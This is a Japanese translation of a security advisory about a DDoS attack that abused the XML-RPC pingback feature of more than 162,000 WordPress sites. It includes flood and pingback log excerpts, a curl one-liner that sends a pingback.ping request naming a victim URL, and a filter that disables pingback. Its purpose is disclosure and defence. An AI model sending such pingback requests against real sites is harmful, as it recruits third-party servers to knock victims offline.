Pingbackが有効になっている(ところで、デフォルトで有効になっている)WordPressサイトは、他のサイトのDDOS攻撃で使用できます [記事の最後に、既知の攻撃への参加を確認するオンラインサービスへのリンクがあります 翻訳者]。
XMLRPCは、ピンバック、トラックバック、モバイルデバイスからのリモートアクセスなどに使用されることに注意してください。 しかし、後で見るように、それは良い目的だけでなく使用することができます。
物語
この話は、何時間ものDDOS攻撃のためにオフラインになった人気のあるWordPressサイトで起こりました。 攻撃が激化すると、ホスティング事業者はサイトをオフにし、彼らは私たちに助けを求めることにしました。
DNSの転送後、最終的に何が起こっているのかがわかりました。これは強力な分散HTTPフラッドレイヤー7攻撃であり、サーバーに対して毎秒数百のリクエストを実行していました。 したがって、これらのクエリは次のようになりました。
74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com" 121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com" 217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr" 193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de" ..
どのリクエストがキャッシュをバイパスし、毎回全ページのリロードが必要なため、すべてのリクエストにランダムパラメーター( "?4137049 = 643182"など)があることに気づいたかもしれません。 これはすべて非常に迅速にサーバーを殺します。
しかし、最も興味深いのは、他の目立たないWordPressサイトからのリクエストであるということです。 はい、他のWordPressサイトはランダムパラメーターを使用して多くのリクエストを送信し、被害者をオフラインにします。
デフォルトの安全でないオプション=非常に大きなボットネット
わずか数時間で、 162,000を超える一般的なWordPressサイトがプロジェクトを攻撃しました。 多くの場合、より多くのサイトが検出されますが、主にログの目詰まりを避けるために、十分な数を確認し、ファイアウォールでこれらの要求をブロックしたと判断しました。
1人の攻撃者は、DDOS攻撃のために何千もの人気のあるハッキングされていないWordPressサイトを使用することができますが、同時に影にとどまります。
$ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'
はい、単純なLinuxコマンドで攻撃を開始できます。
あなたのサイトは今誰かを攻撃していますか?
それはよくあるかもしれません、そして、あなたはこれについて手掛かりを持っていません。 確認するには、サイトのログでXML-RPCファイルへのPOSTリクエストを確認します(上記を参照)。 ランダムなURLに対するPingbackリクエストが表示される場合、サイトがすでに攻撃に使用されていることに気付くでしょう。
93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=\x221.0\x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall>\x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A <param>\x0A <value>\x0A <string>http://fastbet99.com/?1698491=8940641</string>\x0A </value>\x0A </param>\x0A <param>\x0A <value>\x0A <string>yoursite.com</string>\x0A </value>\x0A </param>\x0A</params>\x0A</methodCall>\x0A" 94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"
たとえば、この場合、誰かがDDOS fastbet99.comおよびguttercleanerlondon.co.ukのトラップサイトを使用しようとしました。
サイトが攻撃に使用されないようにするには、XML-RPC Pingback機能を無効にする必要があります。 最良の方法は、次のコンテンツでプラグインをプラグインすることです。
add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['pingback.ping'] ); return $methods; } );
サイトの脆弱性をチェックするオンラインサービス
これは非常に一般的な問題であるため、サイトが既知の攻撃に参加しているかどうかを確認する小さなスキャナーを作成しました: WordPress DDOS Scanner